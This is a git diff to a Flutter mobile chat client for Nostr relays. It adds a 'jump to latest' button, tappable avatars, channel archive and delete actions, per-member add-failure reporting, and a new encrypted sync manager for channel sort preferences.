+        else if (!isAtLatest.value)
+          Positioned(
+            left: 0,
+            right: 0,
+            bottom: composerBottomInset + Grid.xs,
+            child: Center(
+              child: _JumpToLatestButton(
+                key: const ValueKey('channel-jump-to-latest'),
+                onPressed: scrollToLatest,
+              ),
+            ),
+          ),
+      ],
+    );
+  }
+}
+
+class _JumpToLatestButton extends StatelessWidget {
+  final VoidCallback onPressed;
+
+  const _JumpToLatestButton({required this.onPressed, super.key});
+
+  @override
+  Widget build(BuildContext context) {
+    final borderRadius = BorderRadius.circular(Radii.full);
+    return Semantics(
+      button: true,
+      child: ClipRRect(
+        borderRadius: borderRadius,
+        child: BackdropFilter(
+          filter: ImageFilter.blur(sigmaX: 20, sigmaY: 20),
+          child: Container(
+            key: const ValueKey('channel-jump-to-latest-surface'),
+            decoration: BoxDecoration(
+              color: context.colors.surface.withValues(alpha: 0.5),
+              borderRadius: borderRadius,
+              border: Border.all(
+                color: Colors.black.withValues(alpha: 0.04),
+                width: 1,
+              ),
+            ),
+            child: Material(
+              type: MaterialType.transparency,
+              child: InkWell(
+                onTap: onPressed,
+                borderRadius: borderRadius,
+                child: Padding(
                   padding: const EdgeInsets.symmetric(
                     horizontal: Grid.gutter,
                     vertical: Grid.xxs,
                   ),
+                  child: Row(
+                    mainAxisSize: MainAxisSize.min,
+                    children: [
+                      Icon(
+                        LucideIcons.arrowDown,
+                        size: 16,
+                        color: context.colors.onSurface,
+                      ),
+                      const SizedBox(width: Grid.half),
+                      Text(
+                        'Latest',
+                        style: context.textTheme.labelLarge?.copyWith(
+                          color: context.colors.onSurface,
+                        ),
+                      ),
+                    ],
+                  ),
                 ),
-                icon: const Icon(LucideIcons.arrowDown, size: 16),
-                label: const Text('Latest'),
               ),
             ),
           ),
-      ],
+        ),
+      ),
     );
   }
 }
+
+class _ChannelLatestMetricsObserver with WidgetsBindingObserver {
+  final VoidCallback onMetricsChanged;
+
+  _ChannelLatestMetricsObserver({required this.onMetricsChanged});
+
+  @override
+  void didChangeMetrics() => onMetricsChanged();
+}
diff --git a/mobile/lib/features/channels/channel_detail_page/system_rows.dart b/mobile/lib/features/channels/channel_detail_page/system_rows.dart
index 0372690e1e..4e8ba8ab17 100644
--- a/mobile/lib/features/channels/channel_detail_page/system_rows.dart
+++ b/mobile/lib/features/channels/channel_detail_page/system_rows.dart
@@ -27,12 +27,18 @@ class _SystemMessageRow extends ConsumerWidget {
     final userCache = ref.watch(userCacheProvider);
     final sourceMessages = groupedMessages ?? [message];
     final groupedMembership = _membershipDisplayEvent(sourceMessages);
-    final channelCreator = systemEvent.type == SystemEventType.channelCreated
-        ? systemEvent.actorPubkey?.trim()
-        : null;
+    final messageStyleAction = switch (systemEvent.type) {
+      SystemEventType.channelCreated => 'created this channel',
+      SystemEventType.huddleStarted => 'started a huddle',
+      SystemEventType.huddleEnded => 'ended the huddle',
+      _ => null,
+    };
+    final messageStyleActor = messageStyleAction == null
+        ? null
+        : systemEvent.actorPubkey?.trim();
     final usesMessageStyleLayout =
         groupedMembership != null ||
-        (channelCreator != null && channelCreator.isNotEmpty);
+        (messageStyleActor != null && messageStyleActor.isNotEmpty);
 
     String resolveLabel(String? pubkey) {
       if (pubkey == null) return 'Someone';
@@ -91,7 +97,10 @@ class _SystemMessageRow extends ConsumerWidget {
           isArchived: isArchived,
         ),
         child: Padding(
-          padding: const EdgeInsets.symmetric(vertical: Grid.xxs),
+          padding: EdgeInsets.only(
+            top: usesMessageStyleLayout ? Grid.xs : Grid.xxs,
+            bottom: usesMessageStyleLayout ? 0 : Grid.xxs,
+          ),
           child: Column(
             crossAxisAlignment: CrossAxisAlignment.start,
             children: [
@@ -102,13 +111,15 @@ class _SystemMessageRow extends ConsumerWidget {
                   resolveLabel: resolveLabel,
                   userCache: userCache,
                 )
-              else if (channelCreator != null && channelCreator.isNotEmpty)
+              else if (messageStyleActor != null &&
+                  messageStyleActor.isNotEmpty &&
+                  messageStyleAction != null)
                 _MessageStyleSystemMessageContent(
-                  displayPubkey: channelCreator,
+                  displayPubkey: messageStyleActor,
                   createdAt: message.createdAt,
                   resolveLabel: resolveLabel,
                   userCache: userCache,
-                  actionSpans: const [TextSpan(text: 'created this channel')],
+                  actionSpans: [TextSpan(text: messageStyleAction)],
                 )
               else
                 Row(
@@ -333,10 +344,14 @@ class _MessageStyleSystemMessageContent extends StatelessWidget {
     return Row(
       crossAxisAlignment: CrossAxisAlignment.start,
       children: [
-        _UserAvatar(
-          profile: userCache[displayPubkey.toLowerCase()],
-          pubkey: displayPubkey,
-          size: messageAvatarSize,
+        GestureDetector(
+          behavior: HitTestBehavior.opaque,
+          onTap: () => showUserProfileSheet(context, displayPubkey),
+          child: _UserAvatar(
+            profile: userCache[displayPubkey.toLowerCase()],
+            pubkey: displayPubkey,
+            size: messageAvatarSize,
+          ),
         ),
         const SizedBox(width: messageAvatarContentGap),
         Expanded(
@@ -441,21 +456,36 @@ Widget _systemEventAvatar(
       height: 20,
       child: Stack(
         children: [
-          SmallAvatar(pubkey: event.actorPubkey!, userCache: userCache),
-          Positioned(
-            left: 12,
+          GestureDetector(
+            behavior: HitTestBehavior.opaque,
+            onTap: () => showUserProfileSheet(context, event.actorPubkey!),
             child: SmallAvatar(
-              pubkey: event.targetPubkey!,
+              pubkey: event.actorPubkey!,
               userCache: userCache,
             ),
           ),
+          Positioned(
+            left: 12,
+            child: GestureDetector(
+              behavior: HitTestBehavior.opaque,
+              onTap: () => showUserProfileSheet(context, event.targetPubkey!),
+              child: SmallAvatar(
+                pubkey: event.targetPubkey!,
+                userCache: userCache,
+              ),
+            ),
+          ),
         ],
       ),
     );
   }
 
   if (event.actorPubkey != null) {
-    return SmallAvatar(pubkey: event.actorPubkey!, userCache: userCache);
+    return GestureDetector(
+      behavior: HitTestBehavior.opaque,
+      onTap: () => showUserProfileSheet(context, event.actorPubkey!),
+      child: SmallAvatar(pubkey: event.actorPubkey!, userCache: userCache),
+    );
   }
 
   // Fallback: generic icon when no actor is available.
diff --git a/mobile/lib/features/channels/channel_management_provider.dart b/mobile/lib/features/channels/channel_management_provider.dart
index b990194d15..7f9615d4ab 100644
--- a/mobile/lib/features/channels/channel_management_provider.dart
+++ b/mobile/lib/features/channels/channel_management_provider.dart
@@ -13,6 +13,31 @@ import '../profile/profile_provider.dart';
 import 'channel.dart';
 import 'channels_provider.dart';
 
+String _relayErrorMessage(Object error) =>
+    error.toString().replaceFirst('Exception: ', '');
+
+/// Raised when one or more kind:9000 adds were rejected, keyed by pubkey.
+///
+/// Callers surface [message] to the user — a relay rejection here (e.g. a plain
+/// member trying to add someone to a private channel) is a real outcome, not a
+/// crash to swallow.
+@immutable
+class AddMembersException implements Exception {
+  final Map<String, String> failures;
+
+  const AddMembersException(this.failures);
+
+  String get message => failures.entries
+      .map(
+        (entry) =>
+            '${entry.key.length > 8 ? '${entry.key.substring(0, 8)}…' : entry.key}: ${entry.value}',
+      )
+      .join('; ');
+
+  @override
+  String toString() => 'AddMembersException($message)';
+}
+
 @immutable
 class ChannelMember {
   final String pubkey;
@@ -479,21 +504,38 @@ List<List<String>> buildCreateChannelTags({
   ];
 }
 
+/// Builds the relay tags for setting the archived state of [channelId].
+List<List<String>> buildSetChannelArchivedTags(
+  String channelId, {
+  required bool archived,
+}) => [
+  ['h', channelId],
+  ['archived', archived.toString()],
+];
+
+/// Builds the relay tags for deleting [channelId].
+List<List<String>> buildDeleteChannelTags(String channelId) => [
+  ['h', channelId],
+];
+
 class ChannelActions {
   final Ref _ref;
   final RelaySessionNotifier _session;
   final SignedEventRelay _signedEventRelay;
   final String? _currentPubkey;
+  final bool Function()? _isCommunityValid;
 
   ChannelActions({
     required Ref ref,
     required RelaySessionNotifier session,
     required SignedEventRelay signedEventRelay,
     required String? currentPubkey,
+    bool Function()? isCommunityValid,
   }) : _ref = ref,
        _session = session,
        _signedEventRelay = signedEventRelay,
-       _currentPubkey = currentPubkey;
+       _currentPubkey = currentPubkey,
+       _isCommunityValid = isCommunityValid;
 
   Future<Channel> createChannel({
     required String name,
@@ -547,19 +589,43 @@ class ChannelActions {
       for (final pubkey in pubkeys)
         if (pubkey.trim().isNotEmpty) pubkey.trim().toLowerCase(),
     };
+    _ensureCommunityValid();
+    // Per-pubkey failures are collected rather than thrown on the spot: one
+    // relay rejection must not skip the remaining adds or the invalidation
+    // below, which would leave the members list stale for the adds that landed.
+    final failures = <String, String>{};
     for (final pubkey in normalizedPubkeys) {
-      await _signedEventRelay.submit(
-        kind: 9000,
-        content: '',
-        tags: [
-          ['h', channelId],
-          ['p', pubkey],
-          ['role', normalizedRole],
-        ],
-      );
+      // Outside the catch: a community switch mid-loop must abort the whole
+      // add, not be recorded as this pubkey's rejection.
+      _ensureCommunityValid();
+      try {
+        await _signedEventRelay.submit(
+          kind: 9000,
+          content: '',
+          tags: [
+            ['h', channelId],
+            ['p', pubkey],
+            ['role', normalizedRole],
+          ],
+        );
+      } catch (error) {
+        failures[pubkey] = _relayErrorMessage(error);
+      }
     }
+    _ensureCommunityValid();
     _ref.invalidate(channelMembersProvider(channelId));
     _ref.invalidate(channelBotPubkeysProvider(channelId));
+    if (failures.isNotEmpty) {
+      throw AddMembersException(failures);
+    }
+  }
+
+  void _ensureCommunityValid() {
+    if (_isCommunityValid?.call() == false) {
+      throw StateError(
+        'Channel action cancelled because the active community changed',
+      );
+    }
   }
 
   Future<void> joinChannel(String channelId) async {
@@ -584,6 +650,36 @@ class ChannelActions {
     await _refreshChannelState(channelId);
   }
 
+  /// Archives the channel and refreshes its cached state.
+  Future<void> archiveChannel(String channelId) =>
+      _setChannelArchived(channelId, archived: true);
+
+  /// Unarchives the channel and refreshes its cached state.
+  Future<void> unarchiveChannel(String channelId) =>
+      _setChannelArchived(channelId, archived: false);
+
+  Future<void> _setChannelArchived(
+    String channelId, {
+    required bool archived,
+  }) async {
+    await _signedEventRelay.submit(
+      kind: 9002,
+      content: '',
+      tags: buildSetChannelArchivedTags(channelId, archived: archived),
+    );
+    await _refreshChannelState(channelId);
+  }
+
+  /// Deletes the channel and refreshes its cached state.
+  Future<void> deleteChannel(String channelId) async {
+    await _signedEventRelay.submit(
+      kind: 9008,
+      content: '',
+      tags: buildDeleteChannelTags(channelId),
+    );
+    await _refreshChannelState(channelId);
+  }
+
   Future<void> setCanvas({
     required String channelId,
     required String content,
@@ -752,5 +848,10 @@ final channelActionsProvider = Provider<ChannelActions>((ref) {
       nsec: relayConfig.nsec,
     ),
     currentPubkey: currentPubkey,
+    isCommunityValid: () {
+      final currentConfig = ref.read(relayConfigProvider);
+      return currentConfig.baseUrl == relayConfig.baseUrl &&
+          currentConfig.nsec == relayConfig.nsec;
+    },
   );
 });
diff --git a/mobile/lib/features/channels/channel_messages_provider.dart b/mobile/lib/features/channels/channel_messages_provider.dart
index fbcbca8956..e2cab7ddc8 100644
--- a/mobile/lib/features/channels/channel_messages_provider.dart
+++ b/mobile/lib/features/channels/channel_messages_provider.dart
@@ -254,7 +254,11 @@ class ChannelMessagesNotifier extends Notifier<AsyncValue<List<NostrEvent>>> {
           ),
         );
       }
-      if (!_isBroadcastReply(event)) return false;
+      // Replies are kept in the store rather than dropped here, matching
+      // desktop: the main timeline filters them out at render
+      // (`buildMainTimelineEntries`), and their parent's "N replies" row needs
+      // them as the local half of the summary merge when the relay's
+      // best-effort recount is delayed, lost, or older than this reply.
     }
     // Thread summaries are neither a timeline row nor an aux event, but they are
     // how the root's "N replies" row learns a reply landed — a reply itself
@@ -495,12 +499,6 @@ class ChannelMessagesNotifier extends Notifier<AsyncValue<List<NostrEvent>>> {
   }
 }
 
-bool _isBroadcastReply(NostrEvent event) {
-  return event.tags.any(
-    (tag) => tag.length >= 2 && tag[0] == 'broadcast' && tag[1] == '1',
-  );
-}
-
 int _currentUnixSeconds() => DateTime.now().millisecondsSinceEpoch ~/ 1000;
 
 final channelMessagesProvider =
diff --git a/mobile/lib/features/channels/channel_mutes/channel_mutes_manager.dart b/mobile/lib/features/channels/channel_mutes/channel_mutes_manager.dart
index 44bc6ba8ea..eb768dd8fa 100644
--- a/mobile/lib/features/channels/channel_mutes/channel_mutes_manager.dart
+++ b/mobile/lib/features/channels/channel_mutes/channel_mutes_manager.dart
@@ -8,7 +8,7 @@ import 'package:shared_preferences/shared_preferences.dart';
 
 import '../../../shared/crypto/nip44.dart';
 import '../../../shared/relay/relay.dart';
-import '../read_state/read_state_time.dart';
+import '../../../shared/read_state/read_state_time.dart';
 import 'channel_mutes_storage.dart';
 
 class ChannelMutesCrypto {
diff --git a/mobile/lib/features/channels/channel_sections/channel_sections_manager.dart b/mobile/lib/features/channels/channel_sections/channel_sections_manager.dart
index 1d103755ba..e36a514ff6 100644
--- a/mobile/lib/features/channels/channel_sections/channel_sections_manager.dart
+++ b/mobile/lib/features/channels/channel_sections/channel_sections_manager.dart
@@ -9,7 +9,7 @@ import 'package:uuid/uuid.dart';
 
 import '../../../shared/crypto/nip44.dart';
 import '../../../shared/relay/relay.dart';
-import '../read_state/read_state_time.dart';
+import '../../../shared/read_state/read_state_time.dart';
 import 'channel_sections_storage.dart';
 
 const _uuid = Uuid();
@@ -53,6 +53,9 @@ class ChannelSectionsManager {
   Timer? _startupRetryTimer;
   int _startupRetryAttempt = 0;
   bool _startupFetchSucceeded = false;
+  Future<void>? _syncInFlight;
+  bool _syncAgain = false;
+  int _subscriptionGeneration = 0;
 
   ChannelSectionsManager({
     required this.pubkey,
@@ -98,12 +101,33 @@ class ChannelSectionsManager {
   /// sync must eventually land for groups to appear at all, and at the 30s
   /// delay ceiling a persistent retry is cheap. Do not "fix" this into a
   /// bounded loop — giving up permanently is the exact bug this replaces.
-  Future<void> _syncWithRelay() async {
+  Future<void> _syncWithRelay() {
+    if (_disposed) return Future.value();
+    final inFlight = _syncInFlight;
+    if (inFlight != null) {
+      _syncAgain = true;
+      return inFlight;
+    }
+
+    final sync = _runSyncWithRelay();
+    _syncInFlight = sync;
+    return sync.whenComplete(() {
+      _syncInFlight = null;
+      if (_disposed || !_syncAgain) return;
+      _syncAgain = false;
+      unawaited(_syncWithRelay());
+    });
+  }
+
+  Future<void> _runSyncWithRelay() async {
     if (!_startupFetchSucceeded) {
-      _startupFetchSucceeded = await _fetchAndMerge();
+      final fetched = await _fetchAndMerge();
+      if (_disposed) return;
+      _startupFetchSucceeded = fetched;
     }
 
     final subscribed = _unsubscribe != null || await _startLiveSubscription();
+    if (_disposed) return;
 
     if (!_startupFetchSucceeded || !subscribed) {
       _scheduleStartupRetry();
@@ -146,6 +170,8 @@ class ChannelSectionsManager {
   void dispose({bool flushPending = true}) {
     if (_disposed) return;
     _disposed = true;
+    _subscriptionGeneration++;
+    _syncAgain = false;
 
     _startupRetryTimer?.cancel();
     _startupRetryTimer = null;
@@ -270,7 +296,7 @@ class ChannelSectionsManager {
 
   /// Returns whether the fetch reached the relay (regardless of whether a
   /// remote blob exists).
-  Future<bool> _fetchAndMerge() async {
+  Future<bool> _fetchAndMerge({bool allowDisposed = false}) async {
     if (_relaySession == null) return false;
     try {
       final events = await _relaySession.fetchHistory(
@@ -283,6 +309,7 @@ class ChannelSectionsManager {
           limit: 1,
         ),
       );
+      if (_disposed && !allowDisposed) return false;
       _mergeEvents(events);
       _persist();
       if (!_disposed) _onChanged();
@@ -296,9 +323,10 @@ class ChannelSectionsManager {
 
   /// Returns whether the live subscription was established.
   Future<bool> _startLiveSubscription() async {
-    if (_relaySession == null) return false;
+    if (_relaySession == null || _disposed) return false;
+    final generation = ++_subscriptionGeneration;
     try {
-      _unsubscribe = await _relaySession.subscribe(
+      final unsubscribe = await _relaySession.subscribe(
         NostrFilter(
           kinds: const [EventKind.readState],
           authors: [pubkey],
@@ -308,8 +336,13 @@ class ChannelSectionsManager {
           limit: 1,
         ),
         _handleIncomingEvent,
-        onClosed: _handleSubscriptionClosed,
+        onClosed: (message) => _handleSubscriptionClosed(generation, message),
       );
+      if (_disposed || generation != _subscriptionGeneration) {
+        unsubscribe();
+        return false;
+      }
+      _unsubscribe = unsubscribe;
       return true;
     } catch (error) {
       debugPrint('[ChannelSectionsManager] live subscription failed: $error');
@@ -324,12 +357,13 @@ class ChannelSectionsManager {
   /// the rate-limit rejection lands later. Without this handler the manager
   /// would keep a dead subscription and never retry — the exact
   /// load-correlated cold-start failure this retry exists for.
-  void _handleSubscriptionClosed(String message) {
-    if (_disposed) return;
+  void _handleSubscriptionClosed(int generation, String message) {
+    if (_disposed || generation != _subscriptionGeneration) return;
     debugPrint(
       '[ChannelSectionsManager] live subscription closed by relay: $message',
     );
     _unsubscribe = null;
+    _subscriptionGeneration++;
     _scheduleStartupRetry();
   }
 
@@ -404,7 +438,7 @@ class ChannelSectionsManager {
     }
 
     // Read-before-write: merge remote state before publishing
-    await _fetchAndMerge();
+    await _fetchAndMerge(allowDisposed: allowDisposed);
 
     // No-op suppression: skip if nothing changed
     if (_isIdenticalToLastPublished()) return;
diff --git a/mobile/lib/features/channels/channel_sort/channel_sort_manager.dart b/mobile/lib/features/channels/channel_sort/channel_sort_manager.dart
new file mode 100644
index 0000000000..a434fec17b
--- /dev/null
+++ b/mobile/lib/features/channels/channel_sort/channel_sort_manager.dart
@@ -0,0 +1,322 @@
+import 'dart:async';
+import 'dart:convert';
+import 'dart:math';
+
+import 'package:flutter/foundation.dart';
+import 'package:nostr/nostr.dart' as nostr;
+import 'package:shared_preferences/shared_preferences.dart';
+
+import '../../../shared/crypto/nip44.dart';
+import '../../../shared/relay/relay.dart';
+import '../../../shared/read_state/read_state_time.dart';
+import 'channel_sort_storage.dart';
+
+const _dTag = 'channel-sort';
+const _maxClockDriftSeconds = 300;
+
+class ChannelSortCrypto {
+  final Uint8List _conversationKey;
+
+  ChannelSortCrypto(String nsec, String pubkey)
+    : _conversationKey = _deriveKey(nsec, pubkey);
+
+  static Uint8List _deriveKey(String nsec, String pubkey) {
+    final privkeyHex = nostr.Nip19.decode(payload: nsec).data;
+    return getConversationKey(privkeyHex, pubkey);
+  }
+
+  String encrypt(String plaintext) => nip44Encrypt(_conversationKey, plaintext);
+  String decrypt(String ciphertext) =>
+      nip44Decrypt(_conversationKey, ciphertext);
+}
+
+/// Desktop-compatible encrypted NIP-78 sync for per-group sort preferences.
+/// Remote state is ordinary whole-blob LWW: unlike the rejected #2829 design,
+/// local state never vetoes a newer remote blob or leapfrogs an unseen edit.
+class ChannelSortManager {
+  final String pubkey;
+  final String relayUrl;
+  final ChannelSortStorage _storage;
+  final ChannelSortCrypto _crypto;
+  final RelaySessionNotifier? _relaySession;
+  final SignedEventRelay? _signedEventRelay;
+  final bool _remoteEnabled;
+  final VoidCallback _onChanged;
+  final Duration _startupRetryBaseDelay;
+  final Duration _publishDelay;
+
+  ChannelSortStore _store;
+  ChannelSortSyncState _syncState;
+  Timer? _publishDebounce;
+  Timer? _startupRetryTimer;
+  int _startupRetryAttempt = 0;
+  int _lastRemoteCreatedAt = 0;
+  String _lastRemoteEventId = '';
+  int _generation = 0;
+  void Function()? _unsubscribe;
+  bool _disposed = false;
+
+  ChannelSortManager({
+    required this.pubkey,
+    required this.relayUrl,
+    required SharedPreferences prefs,
+    required ChannelSortCrypto crypto,
+    required RelaySessionNotifier? relaySession,
+    required SignedEventRelay? signedEventRelay,
+    required bool remoteEnabled,
+    required VoidCallback onChanged,
+    @visibleForTesting
+    Duration startupRetryBaseDelay = const Duration(seconds: 2),
+    @visibleForTesting Duration publishDelay = const Duration(seconds: 2),
+  }) : _storage = ChannelSortStorage(prefs),
+       _crypto = crypto,
+       _relaySession = relaySession,
+       _signedEventRelay = signedEventRelay,
+       _remoteEnabled = remoteEnabled,
+       _onChanged = onChanged,
+       _startupRetryBaseDelay = startupRetryBaseDelay,
+       _publishDelay = publishDelay,
+       _store = ChannelSortStorage(prefs).read(pubkey, relayUrl),
+       _syncState = ChannelSortStorage(prefs).readSyncState(pubkey, relayUrl) {
+    _lastRemoteCreatedAt = _syncState.updatedAt;
+    _lastRemoteEventId = _syncState.eventId;
+  }
+
+  ChannelSortStore get store => _store;
+  ChannelSortMode sortModeFor(String groupKey) =>
+      _store.groups[groupKey] ?? kDefaultSortMode;
+
+  Future<void> initialize() async {
+    if (_disposed || !_remoteEnabled || _relaySession == null) {
+      if (!_disposed) _onChanged();
+      return;
+    }
+    await _syncWithRelay();
+    if (!_disposed) _onChanged();
+  }
+
+  Future<void> _syncWithRelay() async {
+    final firstFetch = await _fetchAndApply();
+    final subscribed = _unsubscribe != null || await _startLiveSubscription();
+    // Fetch again after the subscription is ready. This closes the event gap
+    // between history and live setup (and catches anything published while a
+    // rate-limited subscription was retrying).
+    final secondFetch = subscribed ? await _fetchAndApply() : null;
+    if (firstFetch == null || !subscribed || secondFetch == null) {
+      _scheduleStartupRetry();
+      return;
+    }
+    _startupRetryAttempt = 0;
+    if (_syncState.hasPendingLocalChanges ||
+        (!firstFetch && !secondFetch && _store.groups.isNotEmpty)) {
+      _schedulePublish();
+    }
+  }
+
+  void _scheduleStartupRetry() {
+    if (_disposed) return;
+    _startupRetryTimer?.cancel();
+    final delayMs = min(
+      _startupRetryBaseDelay.inMilliseconds << min(_startupRetryAttempt, 5),
+      30000,
+    );
+    _startupRetryAttempt++;
+    _startupRetryTimer = Timer(Duration(milliseconds: delayMs), () {
+      _startupRetryTimer = null;
+      unawaited(
+        _syncWithRelay().then((_) {
+          if (!_disposed) _onChanged();
+        }),
+      );
+    });
+  }
+
+  void setSortModeFor(
+    String groupKey,
+    ChannelSortMode mode, {
+    Iterable<String>? liveSectionIds,
+  }) {
+    if (_disposed || _store.groups[groupKey] == mode) return;
+    final updated = ChannelSortStore(
+      groups: {..._store.groups, groupKey: mode},
+    );
+    _store = liveSectionIds == null
+        ? updated
+        : stripOrphanedSectionModes(updated, liveSectionIds);
+    final now = currentUnixSeconds();
+    final pendingUpdatedAt = min(
+      max(now, _syncState.pendingUpdatedAt + 1),
+      now + _maxClockDriftSeconds,
+    );
+    _syncState = ChannelSortSyncState(
+      updatedAt: _syncState.updatedAt,
+      eventId: _syncState.eventId,
+      hasPendingLocalChanges: true,
+      pendingUpdatedAt: pendingUpdatedAt,
+    );
+    _generation++;
+    _persist();
+    _schedulePublish();
+    _onChanged();
+  }
+
+  void _schedulePublish() {
+    if (!_remoteEnabled || _disposed) return;
+    _publishDebounce?.cancel();
+    _publishDebounce = Timer(_publishDelay, () {
+      _publishDebounce = null;
+      unawaited(_publish());
+    });
+  }
+
+  Future<bool?> _fetchAndApply() async {
+    if (_relaySession == null) return null;
+    try {
+      final events = await _relaySession.fetchHistory(_filter());
+      var found = false;
+      for (final event in events) {
+        if (event.pubkey != pubkey || event.getTagValue('d') != _dTag) continue;
+        found = true;
+        _applyRemote(event);
+      }
+      return found;
+    } catch (error) {
+      debugPrint('[ChannelSortManager] fetch failed: $error');
+      return null;
+    }
+  }
+
+  Future<bool> _startLiveSubscription() async {
+    if (_relaySession == null) return false;
+    try {
+      _unsubscribe = await _relaySession.subscribe(
+        _filter(),
+        _handleIncomingEvent,
+        onClosed: (_) {
+          if (_disposed) return;
+          _unsubscribe?.call();
+          _unsubscribe = null;
+          _scheduleStartupRetry();
+        },
+      );
+      return true;
+    } catch (error) {
+      debugPrint('[ChannelSortManager] subscribe failed: $error');
+      return false;
+    }
+  }
+
+  NostrFilter _filter() => NostrFilter(
+    kinds: const [EventKind.readState],
+    authors: [pubkey],
+    tags: const {
+      '#d': [_dTag],
+    },
+    limit: 1,
+  );
+
+  void _applyRemote(NostrEvent event) {
+    if (event.createdAt > currentUnixSeconds() + _maxClockDriftSeconds) return;
+    if (_syncState.hasPendingLocalChanges &&
+        event.createdAt <= _syncState.pendingUpdatedAt) {
+      return;
+    }
+    final isNewer =
+        event.createdAt > _lastRemoteCreatedAt ||
+        (event.createdAt == _lastRemoteCreatedAt &&
+            event.id.compareTo(_lastRemoteEventId) < 0);
+    if (!isNewer) return;
+    try {
+      final parsed = jsonDecode(_crypto.decrypt(event.content));
+      if (parsed is! Map<String, dynamic> || parsed['version'] != 1) return;
+      final incoming = ChannelSortStore.fromJson(parsed);
+      _lastRemoteCreatedAt = event.createdAt;
+      _lastRemoteEventId = event.id;
+      _syncState = ChannelSortSyncState(
+        updatedAt: event.createdAt,
+        eventId: event.id,
+      );
+      _publishDebounce?.cancel();
+      _publishDebounce = null;
+      _store = incoming;
+      _generation++;
+      _persist();
+    } catch (_) {
+      // Ignore malformed or undecryptable blobs without advancing the cursor.
+    }
+  }
+
+  void _handleIncomingEvent(NostrEvent event) {
+    if (_disposed ||
+        event.pubkey != pubkey ||
+        event.getTagValue('d') != _dTag) {
+      return;
+    }
+    final before = _generation;
+    _applyRemote(event);
+    if (_generation != before && !_disposed) _onChanged();
+  }
+
+  Future<void> _publish() async {
+    if (_disposed || !_remoteEnabled || _signedEventRelay == null) return;
+    final generationAtStart = _generation;
+    // A newer remote blob wins. If one arrives during this read, _generation
+    // changes and we abort rather than overwriting it.
+    final preflight = await _fetchAndApply();
+    if (_disposed || _generation != generationAtStart) return;
+    if (preflight == null) {
+      _schedulePublish();
+      return;
+    }
+    try {
+      final now = currentUnixSeconds();
+      final createdAt = max(now, _lastRemoteCreatedAt + 1);
+      if (createdAt > now + _maxClockDriftSeconds) {
+        debugPrint(
+          '[ChannelSortManager] publish delayed: relay cursor '
+          'is ${createdAt - now}s ahead of local time',
+        );
+        _schedulePublish();
+        return;
+      }
+      final ciphertext = _crypto.encrypt(jsonEncode(_store.toJson()));
+      String? submittedEventId;
+      await _signedEventRelay.submit(
+        kind: EventKind.readState,
+        content: ciphertext,
+        tags: const [
+          ['d', _dTag],
+          ['t', _dTag],
+        ],
+        createdAt: createdAt,
+        onSigned: (event) => submittedEventId = event.id,
+      );
+      if (_disposed || _generation != generationAtStart) return;
+      // Keep local publications strictly ordered for this manager lifetime, as
+      // desktop does, but never persist that volatile publication cursor.
+      _lastRemoteCreatedAt = createdAt;
+      _lastRemoteEventId = submittedEventId ?? '';
+      _syncState = ChannelSortSyncState(
+        updatedAt: _syncState.updatedAt,
+        eventId: _syncState.eventId,
+      );
+      _persist();
+    } catch (error) {
+      debugPrint('[ChannelSortManager] publish failed: $error');
+    }
+  }
+
+  void _persist() {
+    _storage.write(pubkey, relayUrl, _store);
+    _storage.writeSyncState(pubkey, relayUrl, _syncState);
+  }
+
+  void dispose() {
+    if (_disposed) return;
+    _disposed = true;
+    _publishDebounce?.cancel();
+    _startupRetryTimer?.cancel();
+    _unsubscribe?.call();
+    _unsubscribe = null;
+  }
+}
diff --git a/mobile/lib/features/channels/channel_sort/channel_sort_provider.dart b/mobile/lib/features/channels/channel_sort/channel_sort_provider.dart
new file mode 100644
index 0000000000..5a5d144660
--- /dev/null
+++ b/mobile/lib/features/channels/channel_sort/channel_sort_provider.dart
@@ -0,0 +1,126 @@
+import 'package:hooks_riverpod/hooks_riverpod.dart';
+import 'package:nostr/nostr.dart' as nostr;
+
+import '../../../shared/relay/relay.dart';
+import '../../../shared/theme/theme_provider.dart';
+import '../../../shared/community/community_provider.dart';
+import 'channel_sort_manager.dart';
+import 'channel_sort_storage.dart';
+
+class ChannelSortState {
+  final bool isReady;
+  final ChannelSortStore store;
+
+  /// Bumped on every change to force downstream rebuilds.
+  final int version;
+
+  const ChannelSortState({
+    this.isReady = false,
+    this.store = const ChannelSortStore(),
+    this.version = 0,
+  });
+
+  ChannelSortMode sortModeFor(String groupKey) =>
+      store.groups[groupKey] ?? kDefaultSortMode;
+}
+
+class ChannelSortNotifier extends Notifier<ChannelSortState> {
+  ChannelSortManager? _manager;
+
+  @override
+  ChannelSortState build() {
+    _manager?.dispose();
+    _manager = null;
+
+    final relayConfig = ref.watch(relayConfigProvider);
+    final sessionState = ref.watch(relaySessionProvider);
+    final activeCommunity = ref.watch(activeCommunityProvider).value;
+
+    final nsec = relayConfig.nsec?.trim();
+    if (nsec == null || nsec.isEmpty) {
+      return const ChannelSortState();
+    }
+
+    final pubkey = _safePubkeyFromNsec(nsec);
+    if (pubkey == null || pubkey.isEmpty) {
+      return const ChannelSortState();
+    }
+
+    final ChannelSortCrypto crypto;
+    try {
+      crypto = ChannelSortCrypto(nsec, pubkey);
+    } catch (_) {
+      return const ChannelSortState();
+    }
+
+    final relayUrl = activeCommunity?.relayUrl.trim();
+    if (relayUrl == null || relayUrl.isEmpty) {
+      return const ChannelSortState();
+    }
+
+    final prefs = ref.read(savedPrefsProvider);
+    final signedRelay = SignedEventRelay(
+      session: ref.read(relaySessionProvider.notifier),
+      nsec: nsec,
+    );
+
+    late final ChannelSortManager manager;
+    manager = ChannelSortManager(
+      pubkey: pubkey,
+      relayUrl: relayUrl,
+      prefs: prefs,
+      crypto: crypto,
+      relaySession: ref.read(relaySessionProvider.notifier),
+      signedEventRelay: signedRelay,
+      remoteEnabled: sessionState.status == SessionStatus.connected,
+      onChanged: () => _emitManagerState(manager),
+    );
+    _manager = manager;
+
+    ref.onDispose(() {
+      manager.dispose();
+      if (_manager == manager) {
+        _manager = null;
+      }
+    });
+
+    Future.microtask(() async {
+      await manager.initialize();
+      if (_manager != manager) return;
+      _emitManagerState(manager);
+    });
+
+    return ChannelSortState(isReady: false, store: manager.store, version: 1);
+  }
+
+  void setSortModeFor(
+    String groupKey,
+    ChannelSortMode mode, {
+    Iterable<String>? liveSectionIds,
+  }) =>
+      _manager?.setSortModeFor(groupKey, mode, liveSectionIds: liveSectionIds);
+
+  void _emitManagerState(ChannelSortManager manager) {
+    if (_manager != manager) return;
+    state = ChannelSortState(
+      isReady: true,
+      store: manager.store,
+      version: state.version + 1,
+    );
+  }
+}
+
+final channelSortProvider =
+    NotifierProvider<ChannelSortNotifier, ChannelSortState>(
+      ChannelSortNotifier.new,
+    );
+
